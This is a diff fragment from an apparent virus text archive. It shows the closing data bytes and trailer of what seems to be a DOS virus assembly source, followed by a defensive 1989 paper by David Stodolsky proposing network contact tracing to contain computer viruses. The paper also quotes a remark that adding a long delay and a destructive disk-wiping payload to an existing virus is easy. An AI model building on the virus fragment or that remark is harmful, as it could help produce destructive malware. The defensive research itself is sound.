db 069h,06Fh,061h,036h,04Dh,07Bh,09Fh,0D1h,0A2h,081h,0B2h,098h,07Eh
|
||||
db 093h,086h,04Bh,04Dh,077h,08Dh,0A7h,092h,07Ah,09Dh,0A0h,057h,072h
|
||||
db 07Ah,05Ch,063h,065h,06Fh,09Fh,0CDh,08Dh,074h,09Ch,060h,063h,089h
|
||||
db 070h,035h,046h,070h,095h,0C6h,090h,061h,085h,094h,06Ah,07Fh,07Eh
|
||||
db 04Ah,05Ch,066h,076h,0A5h,0BAh,090h,087h,0BAh,082h,07Eh,095h,086h
|
||||
db 04Ch,054h,07Dh,09Eh,0C9h,0A0h,06Ch,093h,086h,065h,073h,078h,03Dh
|
||||
db 058h,065h,06Fh,08Ah,0AAh,090h,094h,0A1h,055h,062h,08Bh,068h,03Eh
|
||||
db 04Ch,06Ch,09Bh,0D8h,090h,06Eh,0ACh,086h,07Dh,092h,076h,044h,052h
|
||||
db 073h,089h,0B9h,096h,06Eh,08Dh,0A2h,065h,06Dh,084h,04Ah,05Dh,079h
|
||||
db 090h,085h,094h,0ADh,0BBh,0C4h,066h,062h,083h,08Eh,056h,054h,068h
|
||||
db 07Bh,0BFh,0BCh,070h,082h,063h,06Eh,08Dh,085h,040h,04Ah,069h,085h
|
||||
db 0BDh,090h,05Ch,075h,09Ah,073h,07Bh,088h,050h,053h,074h,087h,097h
|
||||
db 0ADh,08Eh,085h,0B3h,080h,073h,07Bh,076h,048h,059h,098h,092h,088h
|
||||
db 08Ch,099h,0B6h,0A8h,05Bh,064h,081h,05Ch,050h,058h,066h,085h,0BFh
|
||||
db 0A6h,072h,082h,057h,077h,0A5h,07Ch,04Dh,062h,07Bh,092h,0CAh,088h
|
||||
db 054h,095h,080h,069h,07Bh,080h,04Ch,059h,07Ah,092h,0B5h,0B0h,079h
|
||||
db 08Dh,09Ah,07Fh,07Fh,084h,057h,056h,076h,091h,09Fh,0A2h,088h,08Ah
|
||||
db 0A5h,06Ah,06Dh,075h,05Ch,049h,062h,079h,087h,0BEh,099h,066h,08Eh
|
||||
db 076h,07Eh,08Bh,074h,04Dh,05Bh,077h,089h,0AFh,0A0h,061h,07Bh,082h
|
||||
db 065h,077h,08Eh,068h,068h,073h,08Eh,0A6h,0CAh,08Dh,065h,087h,08Bh
|
||||
db 084h,076h,07Ch,054h,063h,075h,08Ah,0ADh,0B5h,078h,077h,093h,06Fh
|
||||
db 07Bh,086h,060h,05Dh,068h,07Ah,093h,0C5h,08Ch,055h,083h,069h,071h
|
||||
db 076h,072h,056h,05Ch,06Bh,081h,0ADh,0C4h,080h,067h,07Ah,061h,077h
|
||||
db 096h,07Ah,072h,06Dh,07Eh,095h,0C2h,0B8h,064h,06Fh,072h,069h,078h
|
||||
db 09Ah,078h,06Eh,073h,087h,0A7h,0CEh,098h,050h,07Eh,073h,074h,07Dh
|
||||
db 088h,062h,066h,07Fh,091h,09Fh,0C3h,080h,058h,07Eh,060h,065h,081h
|
||||
db 078h,057h,05Fh,088h,08Ch,0A0h,0B5h,076h,057h,070h,058h,070h,094h
|
||||
db 075h,05Ch,077h,09Ch,08Ah,0A3h,0B8h,068h,05Fh,08Ch,06Dh,06Ah,095h
|
||||
db 07Bh,06Bh,085h,093h,08Ah,0AFh,0B0h,064h,05Fh,08Fh,063h,069h,08Fh
|
||||
db 067h,063h,07Dh,08Ah,082h,0A9h,0A8h,05Eh,05Dh,08Ah,060h,06Ah,089h
|
||||
db 074h,073h,07Fh,092h,07Ch,089h,0B3h,081h,05Fh,093h,072h,066h,07Ah
|
||||
db 08Eh,07Eh,089h,094h,080h,07Eh,09Fh,098h,064h,088h,
|
||||
slutt: ; DREAMER has a weird sense of humor
|
||||
|
||||
size equ $-100h
|
||||
pgf equ ($+16)/16
|
379
textfiles.com/virus/hormones.vir
Normal file
379
textfiles.com/virus/hormones.vir
Normal file
@@ -0,0 +1,379 @@
|
||||
Date: Thu, 16 Mar 89 20:56:18 +0100
|
||||
From: David Stodolsky <stodol@diku.dk>
|
||||
|
||||
Net Hormones: Part 1 -
|
||||
Infection Control assuming Cooperation among Computers
|
||||
|
||||
Copyright (c) 1989 David S. Stodolsky, PhD. All rights reserved.
|
||||
|
||||
1. Abstract
|
||||
|
||||
A new type of infection control mechanism based upon contact tracing is
|
||||
introduced. Detection of an infectious agent triggers an alerting
|
||||
response that propagates through an affected network. A result of the
|
||||
alert is containment of the infectious agent as all hosts at risk
|
||||
respond automatically to restrict further transmission of the agent.
|
||||
Individually specified diagnostic and treatment methods are then
|
||||
activated to identify and destroy the infective agent. The title "Net
|
||||
Hormones" was chosen to indicate the systemic nature of this programmed
|
||||
response to infection.
|
||||
|
||||
2. Introduction
|
||||
|
||||
A new type of infection control mechanism that is based upon network-
|
||||
wide communication and that depends upon cooperation among computer
|
||||
systems is presented. Neither diagnosis nor treatment is necessary for
|
||||
the operation of the mechanism. The mechanism can automatically trigger
|
||||
responses leading to effective containment of an infection. The
|
||||
identification and destruction of the infectious agent is determined by
|
||||
individual actions or programs. This permits a highly desirable
|
||||
heterogeneity in diagnostic and treatment methods.
|
||||
|
||||
Definition: "Hormone . . . 1: a product of living cells that circulate
|
||||
in body fluids or sap and produces a specific effect on the activity of
|
||||
cells remote from its point of origin; especially one exerting a
|
||||
stimulatory effect on a cellular activity. 2: a synthetic substance
|
||||
that acts like a hormone (Webster's new collegiate dictionary, 1976)."
|
||||
The analogy here is between each network node or computer system and
|
||||
the cell. In biological systems hormones attach to specialized
|
||||
receptors on the cell surface resulting in cell activation. In the
|
||||
system described here, a match between a code in a system archive and a
|
||||
code delivered as part of an alerting message results in activation.
|
||||
Alerting messages circulated electronically serve the role of hormones.
|
||||
|
||||
Epidemiology has traditionally had three major approaches to the
|
||||
control of infectious agents:
|
||||
|
||||
:1 - Treatment of the sick (e. g., penicillin)
|
||||
|
||||
:2 - Contact tracing (e. g., social-work notification programs, laws
|
||||
forcing the reporting of certain diseases and of contacts of infected
|
||||
persons)
|
||||
|
||||
:3 - Prevention (e. g., vaccination, public information campaigns)
|
||||
|
||||
In computer system terms:
|
||||
|
||||
:1 - Treatment of infections (e. g., various programs and manually
|
||||
installed patches and fixes)
|
||||
|
||||
:2 - Contact tracing (e. g., software "recall", and other manual
|
||||
operations)
|
||||
|
||||
:3 - Prevention (e. g., various programs for blocking virus
|
||||
replication, alerting users, and for logging suspicious events)
|
||||
|
||||
Contact tracing has been neglected with computer systems, although it
|
||||
could be argued it is much easier with computer systems than with
|
||||
biological systems. Currently such tracing depends upon people reading
|
||||
reports and determining if their system is subject to infection,
|
||||
performing diagnostic tests, determining a treatment method, obtaining
|
||||
software, and so on. This is chancy and time consuming, requiring most
|
||||
often people with the highest level of expertise. As computers and
|
||||
networks speed up, an infectious agent could spread through a network
|
||||
in hours or minutes. "Once a virus has infected a large number of
|
||||
computers on a network, the number of infected removable media elements
|
||||
will begin to skyrocket. Eventually, if the virus continues to go
|
||||
undetected, a stage is reached in which the probability of identifying
|
||||
and recovering all of the infected media is virtually zero (McAfee,
|
||||
1989)." An automated contact tracing system thus seems essential in the
|
||||
future if infectious agents are to be controlled.
|
||||
|
||||
3. Threats
|
||||
|
||||
"The modification of an existing virus to incorporate a long term delay
|
||||
(such as 6 months or even a year) coupled with a totally destructive
|
||||
manipulation task (such as a FAT, Boot sector scribble followed by a
|
||||
complete format) is a fairly simple task. Such an action would convert
|
||||
even a crude virus strain such as the Lehigh 1 virus into a
|
||||
devistating (sic) strain. (Eg the comment by Ken that the modified
|
||||
version of the Lehigh virus is now far more dangerous due to
|
||||
modification of the delay in activation of its manipulation task)
|
||||
(Ferbrache, 1989)."
|
||||
|
||||
Scott (1989) requested comments on:
|
||||
|
||||
"A little future speculation here... currently we seem to be fighting a
|
||||
losing battle against virus detection and as viruses improve it's
|
||||
unlikely that that will change. If we want the capability to download
|
||||
shareware, etc, from bulletin boards, etc, then we must assume that we
|
||||
cannot check the software for a virus with 100% success before running
|
||||
it. In general, you can't know the output of a program given the
|
||||
input without running it, except in special cases.
|
||||
|
||||
We can check for *known* viruses; but how long before shape-changing
|
||||
and mutating viruses hit the scene that defeat all practical
|
||||
recognition techniques?"
|
||||
|
||||
An inapparent infection could spread rapidly, with damage noted only
|
||||
much later. Consider a worm that is constructed to carry a virus. The
|
||||
worm infects a system, installs the virus and then infects other nearby
|
||||
systems on the net. Finally, it terminates erasing evidence of its
|
||||
existence on the first system. The virus is also inapparent, it waits
|
||||
for the right moment writes some bits and then terminates destroying
|
||||
evidence of its existence. Later the worm retraces its path reads some
|
||||
bits, then writes some bits and exits. The point is that an inapparent
|
||||
infection could spread quite widely before it was noticed. It also
|
||||
might be so hard to determine whether a system was infected or not,
|
||||
that it would not be done until damage was either immanent or apparent.
|
||||
This analysis suggests response to network-wide problems would best be
|
||||
on a network level.
|
||||
|
||||
4. Theory of operation
|
||||
|
||||
Computers generate (in the simplest case) random numbers which are used
|
||||
to label transactions. A transaction is defined as an interaction
|
||||
capable of transmitting an infectious agent. After each transaction
|
||||
both systems therefore have a unique label or code for that
|
||||
transaction. In the event that a system is identified as infected, the
|
||||
transaction codes which could represent transactions during which the
|
||||
agent was transmitted are broadcast to all other computers. If a
|
||||
receiving computer has a matching code, then that system is alerted to
|
||||
the possibility of the agent's presence, and can broadcast transaction
|
||||
codes accumulated after the suspect contact. This iterates the process,
|
||||
thus identifying all carriers eventually. The effect is to model the
|
||||
epidemiological process, thereby identifying all carriers through
|
||||
forward and backward transaction tracking (Stodolsky, 1979a; 1979b;
|
||||
1979c; 1983; 1986).
|
||||
|
||||
5. The process of infection control
|
||||
|
||||
The process can be broken down into routine and alerting operations.
|
||||
During routine operations, each file transfer is labeled in a way that
|
||||
does not identify the systems involved. These labels are time stamped
|
||||
(or have time stamps encoded in them). They are written into archives
|
||||
on each system, ideally write-once/read-many times devices or some
|
||||
other type of storage that could not easily be altered.
|
||||
|
||||
Alerting procedures are invoked when an infectious agent is noted or
|
||||
when a suspect transaction code is received that matches one in the
|
||||
system's archive. The earliest time the agent could have arrived at the
|
||||
system and latest time (usually the moment the agent is noted or a
|
||||
received suspect transaction code is matched) it could have been
|
||||
transmitted from the system are used to delimit suspect transaction
|
||||
codes. These codes are broadcast to alert other systems to the
|
||||
potential presence of the agent.
|
||||
|
||||
In the simplest and most common case, if a system gets an alert that
|
||||
indicates, "You could have been infected at time one," then the system
|
||||
automatically packages the transaction codes between time one and the
|
||||
present time to generate a new alert indicating the same thing to other
|
||||
systems with which it has had contact.
|
||||
|
||||
Another automatic response could be to immediately cut off
|
||||
communications in progress, thus reducing the risk of infection. A
|
||||
further benefit of such a reaction would be the possibility of
|
||||
disrupting the transfer of an infectious agent. Such a disrupted agent
|
||||
would be harmless and easily identified and evaluated. Reestablishment
|
||||
of communication could occur immediately with new procedures in force
|
||||
that could warn new users that an alert was in progress as well as
|
||||
limiting the type of transfers that could take place.
|
||||
|
||||
5.1. Practical considerations
|
||||
|
||||
Direct identification, as opposed to identification through forward
|
||||
tracing notification, does not delimit effectively the earliest time
|
||||
that an agent could have been present on a system. Thus an alert from
|
||||
an originating system could include all transaction codes written prior
|
||||
to the identification (or some default value). This could generate
|
||||
excessive reaction on the network. This reaction could be controlled if
|
||||
another system in a later alert indicated it had originated the
|
||||
infection on the system originating the alert. Thus, protection of
|
||||
identity which reduces any inhibition about reporting infection is
|
||||
important. The type of reaction discussed here might be called a panic
|
||||
reaction, because an excessive number of systems might be notified of
|
||||
potential infection in the first instance.
|
||||
|
||||
A more restricted response could be generated if persons at the alert
|
||||
originating system analyzed the causative agent, thereby hopefully
|
||||
establishing the earliest time the agent could have been present on
|
||||
that system. In this case, the suspect transactions could be delimited
|
||||
effectively and all systems that could have been infected would be
|
||||
notified, as would the system that had transmitted the agent to the
|
||||
system originating the alert (assuming one exists). Ideally, each
|
||||
notified system would be able to determine if it had received or
|
||||
originated the infection and respond accordingly.
|
||||
|
||||
5.2. Forward tracing assumption
|
||||
|
||||
Assume, however, that rapid response is desired. Each notified system
|
||||
would then react as if it had been notified of an infection transmitted
|
||||
to it. It would package the transaction codes that had been written
|
||||
later than the suspect transaction code it had received and issue a
|
||||
secondary alert. This forward tracing assumption would lead to quite
|
||||
effective control because of the exponential growth in the number of
|
||||
infected hosts in epidemics (and exponential growth of alerts resulting
|
||||
>From forward tracing). That is, a system can infect many others as a
|
||||
result of a single infective agent transmitted to it. Forward tracing
|
||||
would alert all systems that the alerting system could have infected.
|
||||
These newly alerted systems would also issue forward trace alerts, and
|
||||
this would continue until containment was reached under the forward
|
||||
tracing assumption.
|
||||
|
||||
5.3. Backward tracing of suspect contacts and diagnosis
|
||||
|
||||
As a result of this rapid forward tracing response, it is likely that
|
||||
more active infections would be identified. The resulting new
|
||||
information could be used to more effectively characterize the life
|
||||
cycle of the agent, thereby hopefully permitting effectively delimited
|
||||
backward tracing. Also as a result of accumulated information, positive
|
||||
tests for the agent would become available. Once this stage had been
|
||||
reached the focus of action could shift from control of suspect
|
||||
transactions to control of transactions known to facilitate the
|
||||
transmission of the agent.
|
||||
|
||||
6. Feasibility and Efficiency
|
||||
|
||||
Both technical and social factors play a key role in the operation of
|
||||
the control mechanism. Contact tracing is probably most effective for
|
||||
sparsely interacting hosts. The rate of transfer of the infectious
|
||||
agent as compared to the rate of transfer of the suspect transaction
|
||||
codes is also a critical factor. Recording of transactions can be
|
||||
comprehensive on computer networks, however, unregistered transactions
|
||||
will be a factor in most cases. Once the infectious agent has been
|
||||
identified, the type of transactions capable of transmitting the agent
|
||||
can be delimited. This could increase efficiency.
|
||||
|
||||
6.1. Social organization of alerts
|
||||
|
||||
Another major efficiency factor is errors in origination of alerts.
|
||||
Since protected messages would trigger network-wide alerts, it is
|
||||
important that false alarms are controlled effectively. On the other
|
||||
hand, failure to report an infection could permit an infectious agent
|
||||
to spread in an uncontrolled manner and could increase the number of
|
||||
systems unnecessarily alerted. Successful operation of the mechanism
|
||||
described above assumes voluntary cooperation among affected systems.
|
||||
This assumption could be relaxed by application of an enforcement
|
||||
mechanism. It would require substantially greater complexity and
|
||||
greater centralization of coordination. In other words, if cooperation
|
||||
was not forthcoming "voluntarily", users would likely be treated to a
|
||||
complicated, restrictive, and resource intensive mechanism that would
|
||||
be developed to enforce it. "Estimates of the damages inflicted by
|
||||
November's Internet infection alone ranged upward of $100 million . . .
|
||||
(McAfee, 1989)." Costs of this magnitude make it very likely that even
|
||||
expensive enforcement mechanisms will be developed if they are made
|
||||
necessary.
|
||||
|
||||
The simplest organizational strategy would assume that protection of
|
||||
identity was not needed, but this would also be likely to inhibit
|
||||
alerting. True anonymity, however, permits irresponsible behavior to go
|
||||
unchecked. A reputation preserving anonymity (pseudonymity) would be
|
||||
desirable to ensure both protection and accountability and thereby
|
||||
promote cooperation. Pseudonyms would best be the property of persons
|
||||
(in association with a computer system).
|
||||
|
||||
Even sincere cooperation, however, would not eliminate inefficiencies
|
||||
resulting from false alarms or failure to alert. Both inadequate
|
||||
training and poor judgement are likely sources of these errors. If
|
||||
users realize that there are reputational costs associated with these
|
||||
failures, then they are likely to be motivated to minimize them. False
|
||||
alarms are already a major problem because of user inexperience and the
|
||||
high level of defects in widely used software. A reputational mechanism
|
||||
would motivate increased user education and more careful software
|
||||
selection, with a corresponding pressure on software publishers to
|
||||
produce well behaved and carefully documented products.
|
||||
|
||||
6.2. Enforcing cooperation
|
||||
|
||||
Crypto-protocols could be used to ensure that a non-cooperator could
|
||||
not communicate freely with others using the infection control
|
||||
mechanism. This type of communication limiting could be used routinely
|
||||
to ensure that a system requesting connection was not infected. In
|
||||
effect, systems would exchange health certificates before file
|
||||
exchanges, to ensure that they would not be infected. A system that
|
||||
could not show a health certificate could be rejected as a conversation
|
||||
partner due to risk of infection. This would no doubt enforce
|
||||
cooperation. The mechanism (Stodolsky, 1986) is beyond the scope of
|
||||
this note.
|
||||
|
||||
6.3. Non-network transfers
|
||||
|
||||
While the discussion above has focused on transfers through networks,
|
||||
the same principles could be applied to disk or tape transfers. The
|
||||
originating system would write a transaction code on the medium with
|
||||
each file. Protection of identity would possibly be reduced under this
|
||||
type of transfer. Since there is no question about the directionality
|
||||
of transmission of an infectious agent in off-line transfers, non-
|
||||
network transmission is likely to be easier to control. Several other
|
||||
factors, such as the rate of spread of the agent, are likely to make
|
||||
such infections less troublesome.
|
||||
|
||||
7. Summary and Benefits
|
||||
|
||||
The idea behind Net Hormones is to make immanent danger apparent. More
|
||||
precisely Net Hormones permit the visualization of infection risk.
|
||||
|
||||
7.1. Control of unidentified infectious agents.
|
||||
|
||||
Net Hormones work by permitting isolation of infectious hosts from
|
||||
those at risk. Identification of the infectious agent is not required
|
||||
for action. Therefore, new and as yet unidentified agents can be
|
||||
effectively controlled.
|
||||
|
||||
7.2. Rapid response
|
||||
|
||||
Hosts could automatically respond to alerts by determining if they had
|
||||
been involved in suspect contacts, and generate new alerts that would
|
||||
propagate along the potential route of infection.
|
||||
|
||||
7.3. Protection of identity
|
||||
|
||||
The mechanism could function without releasing the identity of an
|
||||
infected host. This could be crucial in the case an institution that
|
||||
did not wish it to be publicly know that its security system had been
|
||||
compromised, or in the case of use of unregistered software. More
|
||||
precisely, software obtain by untraceable and anonymous file transfers
|
||||
could be protected by this mechanism without release of users'
|
||||
identity.
|
||||
|
||||
7.4. Distributed operation
|
||||
|
||||
Operation is not dependent upon a centralized register or enforcement
|
||||
mechanism. Some standardization would be helpful, however, and a way to
|
||||
broadcast alerts to all potential hosts would be valuable.
|
||||
|
||||
8. References
|
||||
|
||||
Ferbrache, David J. (1989, February 10). Wide area network worms.
|
||||
VIRUS-L Digest, V. 2 : Issue 44. [<davidf@CS.HW.AC.UK> <Fri, 10 Feb 89
|
||||
11:45:37 GMT>]
|
||||
|
||||
McAfee, J. D. (1989, February 13). In depth: Managing the virus threat.
|
||||
Computerworld, 89-91; 94-96.
|
||||
|
||||
Scott, Peter. (1989, February 10). Virus detection. VIRUS-L Digest, V.
|
||||
2 : Issue 44. [PJS%naif.JPL.NASA.GOV@Hamlet.Bitnet
|
||||
<pjs@grouch.jpl.nasa.gov>. <Fri, 10 Feb 89 10:46:21 PST>]
|
||||
|
||||
Stodolsky, D. (1979a, April 9). Personal computers for supporting
|
||||
health behaviors. Stanford, CA: Department of Psychology, Stanford
|
||||
University. (Preliminary proposal)
|
||||
|
||||
Stodolsky, D. (1979b, May 21). Social facilitation supporting health
|
||||
behaviors. Stanford, CA: Department of Psychology, Stanford University.
|
||||
(Preliminary proposal)
|
||||
|
||||
Stodolsky, D. (1979c, October). Systems approach to the epidemiology
|
||||
and control of sexually transmitted diseases. Louisville, KY: System
|
||||
Science Institute, University of Louisville. (Preliminary project
|
||||
proposal)
|
||||
|
||||
Stodolsky, D. (1983, June 15). Health promotion with an advanced
|
||||
information system. Presented at the Lake Tahoe Life Extension
|
||||
Conference. (Summary)
|
||||
|
||||
Stodolsky, D. (1986, June). Data security and the control of infectious
|
||||
agents. (Abstracts of the cross disciplinary symposium at the
|
||||
University of Linkoeping, Sweden: Department of Communication Studies).
|
||||
|
||||
Webster's new collegiate dictionary. (1976). Springfield, MA: G. & C.
|
||||
Merriam
|
||||
|
||||
-------------------------------------------------------------
|
||||
|
||||
David Stodolsky diku.dk!stodol@uunet.UU.NET
|
||||
Department of Psychology Voice + 45 1 58 48 86
|
||||
Copenhagen Univ., Njalsg. 88 Fax. + 45 1 54 32 11
|
||||
DK-2300 Copenhagen S, Denmark stodol@DIKU.DK
|
||||
|
||||
|